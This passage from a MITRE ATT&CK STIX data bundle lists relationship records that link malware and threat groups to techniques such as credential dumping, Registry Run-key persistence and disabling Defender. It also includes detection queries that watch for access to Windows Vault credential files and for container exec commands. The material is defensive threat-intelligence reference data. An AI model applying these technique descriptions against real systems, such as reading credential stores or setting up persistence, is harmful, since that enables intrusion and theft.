                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a"
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            "modified": "2025-04-28T15:37:02.579Z",
            "description": "[BabyShark](https://attack.mitre.org/software/S0414) has downloaded additional files from the C2.(Citation: Unit42 BabyShark Apr 2019)(Citation: CISA AA20-301A Kimsuky)",
            "relationship_type": "uses",
            "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b",
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                {
                    "source_name": "Malwarebytes The Windows Vault",
                    "description": "Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.",
                    "url": "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/"
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            "description": "Consider monitoring file reads to Vault locations, <code>&percnt;Systemdrive&percnt;&bsol;Users&bsol;&bsol;&lsqb;Username&rsqb;&bsol;AppData&bsol;Local&bsol;Microsoft&bsol;&bsol;&lsqb;Vault&sol;Credentials&rsqb;&bsol;</code>, for suspicious activity.(Citation: Malwarebytes The Windows Vault)\n\nAnalytic 1 - Unauthorized access to Windows Vault credential files.\n\n<code> index=security sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" event_type=\"file_access\"\n(file_path IN (\"%SystemDrive%\\\\Users\\\\*\\\\AppData\\\\Local\\\\Microsoft\\\\Vault\\\\*\\\\*.vcrd\", \"%SystemDrive%\\\\Users\\\\*\\\\AppData\\\\Local\\\\Microsoft\\\\Credentials\\\\*\\\\*.vcrd\", \"%SystemDrive%\\\\Users\\\\*\\\\AppData\\\\Local\\\\Microsoft\\\\Vault\\\\*\\\\Policy.vpol\", \"%SystemDrive%\\\\Users\\\\*\\\\AppData\\\\Local\\\\Microsoft\\\\Credentials\\\\*\\\\Policy.vpol\"))</code>",
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            "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
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            "revoked": false,
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                {
                    "source_name": "Bitdefender Sardonic Aug 2021",
                    "description": "Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"
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            "modified": "2025-04-16T21:59:30.593Z",
            "description": "[Sardonic](https://attack.mitre.org/software/S1085) has the ability to execute the `ipconfig` command.(Citation: Bitdefender Sardonic Aug 2021)",
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            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
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                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.",
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            "modified": "2025-04-28T15:37:02.974Z",
            "description": "[Machete](https://attack.mitre.org/software/S0409)'s collected data is exfiltrated over the same channel used for C2.(Citation: ESET Machete July 2019)",
            "relationship_type": "uses",
            "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
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                    "source_name": "Talos Oblique RAT March 2021",
                    "description": "Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021.",
                    "url": "https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html"
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            "modified": "2025-04-28T15:37:03.589Z",
            "description": "[ObliqueRAT](https://attack.mitre.org/software/S0644) can capture a screenshot of the current screen.(Citation: Talos Oblique RAT March 2021)\n",
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                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
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            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) collects the victim IP address, MAC address, as well as the victim account domain name.(Citation: Talos GravityRAT)",
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                {
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                {
                    "source_name": "Bitdefender Agent Tesla April 2020",
                    "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020.",
                    "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/"
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            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has used wmi queries to gather information from the system.(Citation: Bitdefender Agent Tesla April 2020) ",
            "relationship_type": "uses",
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                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "url": "https://github.com/PowerShellMafia/PowerSploit"
                },
                {
                    "source_name": "PowerSploit Documentation",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "url": "http://powersploit.readthedocs.io"
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            "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Get-Keystrokes</code> Exfiltration module can log keystrokes.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
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                    "description": "Unit 42. (2024, April 12). Threat Brief: Operation MidnightEclipse, Post-Exploitation Activity Related to CVE-2024-3400 . Retrieved January 15, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/cve-2024-3400/"
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                    "source_name": "Volexity UPSTYLE 2024",
                    "description": "Volexity Threat Research. (2024, April 12). Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400). Retrieved November 20, 2024.",
                    "url": "https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/"
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            "description": "[UPSTYLE](https://attack.mitre.org/software/S1164) encodes its main content prior to loading via Python as base64-encoded blobs.(Citation: Volexity UPSTYLE 2024)(Citation: Palo Alto MidnightEclipse APR 2024)",
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                    "source_name": "Secureworks BRONZE PRESIDENT December 2019",
                    "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021.",
                    "url": "https://www.secureworks.com/research/bronze-president-targets-ngos"
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                {
                    "source_name": "Profero APT27 December 2020",
                    "description": "Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.",
                    "url": "https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"
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                {
                    "source_name": "Trend Micro DRBControl February 2020",
                    "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.",
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            "description": "Consider implementing CAPTCHA protection on forms that send messages via SMS. ",
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                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
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            "modified": "2025-04-28T15:37:45.470Z",
            "description": "[Proxysvc](https://attack.mitre.org/software/S0238) uses HTTP over SSL to communicate commands with the control server.(Citation: McAfee GhostSecret)",
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            "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84",
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            "revoked": false,
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                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"
                },
                {
                    "source_name": "FireEye APT41 Aug 2019",
                    "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.",
                    "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"
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            "description": "[APT41](https://attack.mitre.org/groups/G0096) deployed rootkits on Linux systems.(Citation: FireEye APT41 Aug 2019)(Citation: Crowdstrike GTR2020 Mar 2020)",
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            "revoked": false,
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                    "source_name": "BiZone Lizar May 2021",
                    "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022.",
                    "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319"
                },
                {
                    "source_name": "Threatpost Lizar May 2021",
                    "description": "Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 2022.",
                    "url": "https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/"
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            "modified": "2025-04-16T22:00:18.763Z",
            "description": "[Lizar](https://attack.mitre.org/software/S0681) can retrieve browser history and database files.(Citation: Threatpost Lizar May 2021)(Citation: BiZone Lizar May 2021) ",
            "relationship_type": "uses",
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                {
                    "source_name": "Fortinet Remcos Feb 2017",
                    "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.",
                    "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html"
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            "description": "[Remcos](https://attack.mitre.org/software/S0332) can add itself to the Registry key <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> for persistence.(Citation: Fortinet Remcos Feb 2017)",
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        {
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            "id": "relationship--1be2f89a-1584-486a-b5e0-5735ee0a7a1f",
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            "description": "Monitor command execution within containers to detect suspicious activity. Commands executed via Docker (```docker exec```) or Kubernetes (```kubectl exec```) should be captured along with relevant metadata.\n\nAnalytic 1 -  Unusual command executions in container services\n\n<code>sourcetype=docker:daemon OR sourcetype=kubernetes:apiserver\n| search command IN (\"docker exec\", \"kubectl exec\")\n</code>",
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                {
                    "source_name": "Group IB RTM August 2019",
                    "description": "Skulkin, O. (2019, August 5). Following the RTM Forensic examination of a computer infected with a banking trojan. Retrieved May 11, 2020.",
                    "url": "https://www.group-ib.com/blog/rtm"
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            "modified": "2025-04-28T15:37:46.125Z",
            "description": "[RTM](https://attack.mitre.org/groups/G0048) has attempted to lure victims into opening e-mail attachments to execute malicious code.(Citation: Group IB RTM August 2019)",
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                {
                    "source_name": "ATT Sidewinder January 2021",
                    "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021.",
                    "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf"
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            "modified": "2025-04-28T15:37:46.411Z",
            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has collected stolen files in a temporary folder in preparation for exfiltration.(Citation: ATT Sidewinder January 2021)",
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            "modified": "2025-04-28T15:37:46.599Z",
            "description": "Monitor for events collected that may attempt to find cloud groups and permission settings. ",
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            "description": "[LockBit 3.0](https://attack.mitre.org/software/S1202) can change the Registry values for Group Policy refresh time, to disable SmartScreen, and to disable Windows Defender.(Citation: Joint Cybersecurity Advisory LockBit 3.0 MAR 2023)(Citation: INCIBE-CERT LockBit MAR 2024)\n\n",
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            "source_ref": "malware--71fe9df1-1c6f-430c-ab9b-ff3c11074e52",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1c4e80fb-740d-4318-8047-0668566ce38e",
            "created": "2022-03-30T14:26:51.845Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:00:25.763Z",
            "description": "Monitor for newly constructed files that are added to absolute paths of shared libraries such as `LD_PRELOAD` on Linux (such as `/etc/ld.so.preload`) and `DYLD_INSERT_LIBRARIES` on macOS.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
            "target_ref": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1c4fd1a5-c3a4-4f71-8310-785962dc65d4",
            "created": "2021-09-28T20:02:51.487Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Checkpoint IndigoZebra July 2021",
                    "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021.",
                    "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:37:50.945Z",
            "description": "[BoxCaon](https://attack.mitre.org/software/S0651) has searched for files on the system, such as documents located in the desktop folder.(Citation: Checkpoint IndigoZebra July 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--919a056e-5104-43b9-ad55-2ac929108b71",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1c548d89-557e-4c48-9b71-8a761d94e77b",
            "created": "2019-04-22T19:39:48.825Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "US-CERT HOPLIGHT Apr 2019",
                    "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:37:51.132Z",
            "description": "A variant of [HOPLIGHT](https://attack.mitre.org/software/S0376) hooks lsass.exe, and lsass.exe then checks the Registry for the data value 'rdpproto' under the key <code>SYSTEM\\CurrentControlSet\\Control\\Lsa Name</code>.(Citation: US-CERT HOPLIGHT Apr 2019)",
            "relationship_type": "uses",
            "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1c54cdd2-576a-4ba5-9cf2-33bda233e018",
            "created": "2024-09-23T23:08:36.279Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "group-ib_redcurl1",
                    "description": "Group-IB. (2020, August). RedCurl: The Pentest You Didn\u2019t Know About. Retrieved August 9, 2024.",
                    "url": "https://www.group-ib.com/resources/research-hub/red-curl/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:00:26.394Z",
            "description": "[RedCurl](https://attack.mitre.org/groups/G1039) has collected emails to use in future phishing campaigns.(Citation: group-ib_redcurl1)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89",
            "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1c5b0ac8-43bb-4e04-812a-e3518755f84e",
            "created": "2022-03-30T14:26:51.846Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:37:51.553Z",
            "description": "Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that <code>AuthorizationExecuteWithPrivileges</code> is being executed. MacOS system logs may also indicate when <code>AuthorizationExecuteWithPrivileges</code> is being called.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
            "target_ref": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1c5b8ff2-400a-4e0f-a819-3cc8f1bc76b8",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Adsecurity Mimikatz Guide",
                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
                    "url": "https://adsecurity.org/?page_id=1821"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:37:51.725Z",
            "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s <code>CRYPTO::Extract</code> module can extract keys by interacting with Windows cryptographic application programming interface (API) functions.(Citation: Adsecurity Mimikatz Guide)",
            "relationship_type": "uses",
            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1c61ec55-92dd-4bab-8a1d-fcadafc17dfe",
            "created": "2024-03-01T18:58:24.972Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Leonard TAG 2023",
                    "description": "Billy Leonard. (2023, April 19). Ukraine remains Russia\u2019s biggest cyber focus in 2023. Retrieved March 1, 2024.",
                    "url": "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:00:26.839Z",
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) used information stealer malware to collect browser session cookies.(Citation: Leonard TAG 2023)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1c69d2f9-1152-415a-9294-808886999e04",
            "created": "2021-10-13T21:34:46.782Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Trend Micro KillDisk 1",
                    "description": "Fernando Merces, Byron Gelera, Martin Co. (2018, June 7). KillDisk Variant Hits Latin American Finance Industry. Retrieved January 12, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/18/f/new-killdisk-variant-hits-latin-american-financial-organizations-again.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:37:52.149Z",
            "description": "[KillDisk](https://attack.mitre.org/software/S0607) has called the Windows API to retrieve the hard disk handle and shut down the machine.(Citation: Trend Micro KillDisk 1)",
            "relationship_type": "uses",
            "source_ref": "malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1c6f35f0-1169-4218-9881-7291e1765cd8",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Emissary Trojan Feb 2016",
                    "description": "Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:37:52.363Z",
            "description": "Variants of [Emissary](https://attack.mitre.org/software/S0082) have used rundll32.exe in Registry values added to establish persistence.(Citation: Emissary Trojan Feb 2016)",
            "relationship_type": "uses",
            "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1c715763-19ea-475d-9d5c-8d4434b4095f",
            "created": "2019-04-23T14:59:04.155Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "GitHub PoshC2",
                    "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.",
                    "url": "https://github.com/nettitude/PoshC2_Python"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:37:52.563Z",
            "description": "[PoshC2](https://attack.mitre.org/software/S0378) has a number of modules that use WMI to execute tasks.(Citation: GitHub PoshC2)",
            "relationship_type": "uses",
            "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1c743268-3f64-4cc6-b911-c5ebf79310a7",
            "created": "2022-03-30T14:26:51.833Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:00:27.691Z",
            "description": "Monitor for unexpected changes to cloud user accounts, such as Azure Activity Logs highlighting malicious Service Principal and Application modifications. \n\nMonitor for the use of API and CLI commands that add passwords, access keys, or tokens to accounts, such as <code>CreateAccessKey</code>, <code>GetFederationToken</code>, and <code>CreateLoginProfile</code> in AWS or <code>service-accounts keys create</code> in GCP. Also monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account. ",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
            "target_ref": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1c7681f4-4dc4-4722-9fcc-a79712fe502e",
            "created": "2022-02-09T14:32:47.575Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Talos Kimsuky Nov 2021",
                    "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.",
                    "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:00:27.892Z",
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has decoded malicious VBScripts using Base64.(Citation: Talos Kimsuky Nov 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1c7b9a1b-e874-4881-884a-e3c3d1fd8aed",
            "created": "2017-05-31T21:33:27.032Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:00:28.101Z",
            "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has been known to dump credentials using Mimikatz and Windows Credential Editor.(Citation: Cylance Cleaver)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1c7e778c-4193-44e5-85b4-ba7e7668455f",
            "created": "2022-03-30T14:26:51.842Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:37:52.995Z",
            "description": "Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f",
            "target_ref": "attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1c812537-dfaf-40da-a71b-a49c18870b77",
            "created": "2017-05-31T21:33:27.058Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "FireEye Operation Double Tap",
                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:37:53.189Z",
            "description": "(Citation: FireEye Operation Double Tap)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "target_ref": "tool--c9703cd3-141c-43a0-a926-380082be5d04",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1c8208ad-b295-4e39-a928-40fc49f68fb4",
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                {
                    "source_name": "Unit42 Xbash Sept 2018",
                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/"
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            "description": "[Xbash](https://attack.mitre.org/software/S0341) has destroyed Linux-based databases as part of its ransomware capabilities.(Citation: Unit42 Xbash Sept 2018)\t",
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                    "source_name": "Datadog S3 Lifecycle CloudTrail Logs",
